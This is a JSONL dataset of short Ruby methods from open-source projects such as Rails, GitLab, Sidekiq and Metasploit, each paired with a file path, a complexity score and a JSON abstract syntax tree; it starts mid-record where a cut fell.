"children\":[\"node\"]}]}]}]}","id":"452ef48d-6e82-4087-ba22-5c85a88ae45b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb","start_line":411,"raw_source":"def test_clearing_optional_cpk_belongs_to_should_preserve_shared_pk\n    book = Cpk::Book.create!(id: [1, 2], title: \"The Well-Grounded Rubyist\")\n    chapter = Cpk::OptionalChapter.create!(id: [1, 2], book: book)\n\n    assert_equal book, chapter.book\n    assert_equal [1, 2], chapter.id\n\n    chapter.update!(book: nil)\n\n    assert_equal [1, 2], chapter.id\n    assert_nil chapter.book_id\n    assert_equal chapter.author_id, book.author_id\n  end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_clearing_optional_cpk_belongs_to_should_preserve_shared_pk\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"book\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cpk\"]},\"Book\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"The Well-Grounded Rubyist\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"chapter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cpk\"]},\"OptionalChapter\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"book\"]},{\"type\":\"lvar\",\"children\":[\"book\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"book\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chapter\"]},\"book\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chapter\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chapter\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"book\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chapter\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chapter\"]},\"book_id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chapter\"]},\"author_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"book\"]},\"author_id\"]}]}]}]}","id":"0d08c17f-f78c-4f24-9401-144531994cd2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build_trace_metadata.rb","start_line":72,"raw_source":"def successfully_archived?\n      return false unless archived_at\n\n      remote_checksum.nil? || remote_checksum_valid?\n    end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"successfully_archived?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"archived_at\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remote_checksum\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"remote_checksum_valid?\"]}]}]}]}","id":"5d7a30d1-c38e-46a1-94cd-2b65c419a633"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/message_pack.rb","start_line":8,"raw_source":"def dump(input)\n        encoder = Encoder.new\n        [FORMAT_VERSION, encoder.encode(input), encoder.entries]\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"dump\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"encoder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoder\"]},\"new\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FORMAT_VERSION\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoder\"]},\"encode\",{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encoder\"]},\"entries\"]}]}]}]}","id":"15ff9c6a-b352-4b58-ab9f-f4d673eb7206"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/ssllabs_scan.rb","start_line":276,"raw_source":"def insecure?\n      debian_flaw? || q == 0\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"insecure?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"debian_flaw?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"q\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"249aed4f-b121-4dc5-a7cb-c6c4fb7692f5"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/controllers/storages/admin/storages/project_storages_controller.rb","start_line":65,"raw_source":"def oauth_access_grant\n    open_redirect_to_storage_authorization_with(\n      callback_url: admin_settings_storage_project_storages_url(@storage),\n      storage: @storage\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"oauth_access_grant\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"open_redirect_to_storage_authorization_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"callback_url\"]},{\"type\":\"send\",\"children\":[null,\"admin_settings_storage_project_storages_url\",{\"type\":\"ivar\",\"children\":[\"@storage\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"ivar\",\"children\":[\"@storage\"]}]}]}]}]}","id":"83305644-cc3d-41b6-97c8-83ad76e49f44"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/connect_api/tunes/tunes_stubbing.rb","start_line":22,"raw_source":"def stub_get_app_availabilities_removed_from_sale\n        stub_request(:get, \"https://appstoreconnect.apple.com/iris/v2/appAvailabilities/123456789?include=territoryAvailabilities&limit%5BterritoryAvailabilities%5D=200\").\n          to_return(status: 200, body: read_fixture_file('app_availabilities_removed_app.json'), headers: { 'Content-Type' => 'application/json' })\n      end","complexity_score":3.7,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_get_app_availabilities_removed_from_sale\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"https://appstoreconnect.apple.com/iris/v2/appAvailabilities/123456789?include=territoryAvailabilities&limit%5BterritoryAvailabilities%5D=200\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"read_fixture_file\",{\"type\":\"str\",\"children\":[\"app_availabilities_removed_app.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]}]}","id":"191ea05e-d4df-4a78-9a28-fd64d0f79b09"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_pathname.rb","start_line":20,"raw_source":"def check_pathname_join\n    pathname_methods = [\n      :'Pathname.new',\n      :'Pathname.getwd',\n      :'Pathname.glob',\n      :'Pathname.pwd',\n    ]\n\n    tracker.find_call(targets: pathname_methods, method: :join, nested: true).each do |result|\n      check_result result\n    end\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check_pathname_join\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pathname_methods\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"Pathname.new\"]},{\"type\":\"sym\",\"children\":[\"Pathname.getwd\"]},{\"type\":\"sym\",\"children\":[\"Pathname.glob\"]},{\"type\":\"sym\",\"children\":[\"Pathname.pwd\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"targets\"]},{\"type\":\"lvar\",\"children\":[\"pathname_methods\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"join\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nested\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"check_result\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}","id":"1e32607f-e09b-42d9-b1a9-1d5a8bd8cf6e"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/values/time_zone.rb","start_line":355,"raw_source":"def match?(re)\n      (re == name) || (re == MAPPING[name]) ||\n        ((Regexp === re) && (re.match?(name) || re.match?(MAPPING[name])))\n    end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"match?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"re\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"re\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"name\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"re\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAPPING\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"re\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"re\"]},\"match?\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"re\"]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAPPING\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]}]}]}]}]}]}","id":"0e8f89e8-00c9-4a1c-a8d3-c3db3f14028a"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/mixins/git_blob_onebox.rb","start_line":6,"raw_source":"def self.included(klass)\n        klass.include(Onebox::Engine)\n        klass.include(Onebox::LayoutSupport)\n        klass.matches_regexp(klass.git_regexp)\n        klass.always_https\n        klass.include(InstanceMethods)\n      end","complexity_score":9.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Onebox\"]},\"Engine\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Onebox\"]},\"LayoutSupport\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"matches_regexp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"git_regexp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"always_https\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"include\",{\"type\":\"const\",\"children\":[null,\"InstanceMethods\"]}]}]}]}","id":"714a2598-acd4-44c8-8993-82fc8d78ab13"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/metrics/tracking.rb","start_line":57,"raw_source":"def flush(time = Time.now)\n        totals, jobs, grams = reset\n        procd = totals[\"p\"]\n        fails = totals[\"f\"]\n        return if procd == 0 && fails == 0\n\n        now = time.utc\n        # nowdate = now.strftime(\"%Y%m%d\")\n        # nowhour = now.strftime(\"%Y%m%d|%-H\")\n        nowmin = now.strftime(\"%Y%m%d|%-H:%-M\")\n        count = 0\n\n        redis do |conn|\n          # persist fine-grained histogram data\n          if grams.size > 0\n            conn.pipelined do |pipe|\n              grams.each do |_, gram|\n                gram.persist(pipe, now)\n              end\n            end\n          end\n\n          # persist coarse grained execution count + execution millis.\n          # note as of today we don't use or do anything with the\n          # daily or hourly rollups.\n          [\n            # [\"j\", jobs, nowdate, LONG_TERM],\n            # [\"j\", jobs, nowhour, MID_TERM],\n            [\"j\", jobs, nowmin, SHORT_TERM]\n          ].each do |prefix, data, bucket, ttl|\n            conn.pipelined do |xa|\n              stats = \"#{prefix}|#{bucket}\"\n              data.each_pair do |key, value|\n                xa.hincrby stats, key, value\n                count += 1\n              end\n              xa.expire(stats, ttl)\n            end\n          end\n          logger.debug \"Flushed #{count} metrics\"\n          count\n        end\n      end","complexity_score":52.08,"ast_json":"{\"type\":\"def\",\"children\":[\"flush\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"totals\"]},{\"type\":\"lvasgn\",\"children\":[\"jobs\"]},{\"type\":\"lvasgn\",\"children\":[\"grams\"]}]},{\"type\":\"send\",\"children\":[null,\"reset\"]}]},{\"type\":\"lvasgn\",\"children\":[\"procd\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"totals\"]},\"[]\",{\"type\":\"str\",\"children\":[\"p\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fails\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"totals\"]},\"[]\",{\"type\":\"str\",\"children\":[\"f\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"procd\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fails\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"utc\"]}]},{\"type\":\"lvasgn\",\"children\":[\"nowmin\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y%m%d|%-H:%-M\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grams\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"pipelined\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipe\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grams\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"gram\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gram\"]},\"persist\",{\"type\":\"lvar\",\"children\":[\"pipe\"]},{\"type\":\"lvar\",\"children\":[\"now\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"j\"]},{\"type\":\"lvar\",\"children\":[\"jobs\"]},{\"type\":\"lvar\",\"children\":[\"nowmin\"]},{\"type\":\"const\",\"children\":[null,\"SHORT_TERM\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prefix\"]},{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"bucket\"]},{\"type\":\"arg\",\"children\":[\"ttl\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"pipelined\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xa\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stats\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"str\",\"children\":[\"|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bucket\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xa\"]},\"hincrby\",{\"type\":\"lvar\",\"children\":[\"stats\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xa\"]},\"expire\",{\"type\":\"lvar\",\"children\":[\"stats\"]},{\"type\":\"lvar\",\"children\":[\"ttl\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Flushed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]}]},{\"type\":\"str\",\"children\":[\" metrics\"]}]}]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}]}","id":"2fbfb07c-ef4f-4244-862c-f6dfd98c3da7"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/shipments/remove_item.rb","start_line":10,"raw_source":"def call(shipment:, variant_id:, quantity: nil)\n        ActiveRecord::Base.transaction do\n          run :prepare_arguments\n          run :remove_item\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"shipment\"]},{\"type\":\"kwarg\",\"children\":[\"variant_id\"]},{\"type\":\"kwoptarg\",\"children\":[\"quantity\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run\",{\"type\":\"sym\",\"children\":[\"prepare_arguments\"]}]},{\"type\":\"send\",\"children\":[null,\"run\",{\"type\":\"sym\",\"children\":[\"remove_item\"]}]}]}]}]}","id":"3434b1e4-3886-4ef6-8f7f-d26f745cc72b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/reflective_dll_inject.rb","start_line":116,"raw_source":"def inject_dll(process, dll_path)\n    library_path = ::File.expand_path(dll_path)\n    exploit_mem, offset = inject_dll_into_process(process, library_path)\n    [exploit_mem, offset]\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"inject_dll\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"process\"]},{\"type\":\"arg\",\"children\":[\"dll_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"library_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"dll_path\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exploit_mem\"]},{\"type\":\"lvasgn\",\"children\":[\"offset\"]}]},{\"type\":\"send\",\"children\":[null,\"inject_dll_into_process\",{\"type\":\"lvar\",\"children\":[\"process\"]},{\"type\":\"lvar\",\"children\":[\"library_path\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exploit_mem\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]}","id":"20abc665-5b76-4e1d-8276-4b4734482f8c"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/middleware/chain.rb","start_line":159,"raw_source":"def retrieve\n        map(&:make_new)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"retrieve\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"make_new\"]}]}]}]}","id":"1e49092b-abc2-4bdf-8b9f-9441ac5ecd02"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/utilities/payload_representer.rb","start_line":143,"raw_source":"def contract_class(represented)\n        return nil unless represented.respond_to?(:new_record?)\n\n        contract_namespace = represented.class.name.pluralize\n\n        contract_name = if represented.new_record?\n                          \"CreateContract\"\n                        else\n                          \"UpdateContract\"\n                        end\n\n        begin\n          \"#{contract_namespace}::#{contract_name}\".constantize\n        rescue NameError\n          nil\n        end\n      end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"contract_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"represented\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"represented\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"new_record?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"contract_namespace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"represented\"]},\"class\"]},\"name\"]},\"pluralize\"]}]},{\"type\":\"lvasgn\",\"children\":[\"contract_name\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"represented\"]},\"new_record?\"]},{\"type\":\"str\",\"children\":[\"CreateContract\"]},{\"type\":\"str\",\"children\":[\"UpdateContract\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract_namespace\"]}]},{\"type\":\"str\",\"children\":[\"::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract_name\"]}]}]},\"constantize\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]}]}","id":"7e1948fb-bc53-47e2-8f06-2a2dd788fd1e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/database/migration_timestamp_checker.rb","start_line":51,"raw_source":"def message\n    invalid_migrations.map { |filename, error| \"#{filename}: #{error}\\n\" }.join('')\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invalid_migrations\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"2e960e8e-f847-478e-83c5-4886bf895901"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/background_migration/batched_migration.rb","start_line":326,"raw_source":"def progress\n          return FINISHED_PROGRESS_VALUE if finished? || finalized?\n\n          return unless total_tuple_count.to_i > 0\n\n          100 * migrated_tuple_count / total_tuple_count\n        end","complexity_score":13.95,"ast_json":"{\"type\":\"def\",\"children\":[\"progress\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"finished?\"]},{\"type\":\"send\",\"children\":[null,\"finalized?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FINISHED_PROGRESS_VALUE\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"total_tuple_count\"]},\"to_i\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[100]},\"*\",{\"type\":\"send\",\"children\":[null,\"migrated_tuple_count\"]}]},\"/\",{\"type\":\"send\",\"children\":[null,\"total_tuple_count\"]}]}]}]}","id":"10d7a77f-59be-4099-bc48-47748bdceb67"}
